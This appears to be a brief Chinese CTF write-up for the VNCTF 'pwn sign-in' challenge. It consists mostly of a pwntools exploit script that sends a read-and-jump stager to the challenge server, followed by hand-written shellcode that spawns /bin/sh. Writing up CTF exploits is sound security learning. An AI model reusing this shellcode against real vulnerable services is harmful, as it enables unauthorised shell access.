vnctf pwn签到

签到

不知道为啥，我shellcraft生成的后半部分就是用不了，换成手写的就好了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

# p=process('./pwn')
# gdb.attach(p)
# pause()

p=remote('node.vnteam.cn',43424)

shellcode=asm('''   

mov rsi, rdi
add rsi,0x20
xor rdi, rdi
mov rdx, 0x40         
syscall
jmp rsi
''')
p.send(shellcode)

shell=asm('''
   mov rsp, 0            # 复制 rsi 到 rsp
   shl rsp, 32             # 将 rsp 左移 32 位
   add rsp, rsi
   add rsp,0x800
   mov rbp,rsp
 ''')
shell+=asm(
  '''
    mov rbx, 0x0068732f6e69622f
    push rbx                   
    mov rdi,rsp
    mov rsi,0
    mov rdx,0
    mov rax,59
    syscall
    '''
)

p.send(shell)
p.interactive()

后面的题等我有实力了再复现吧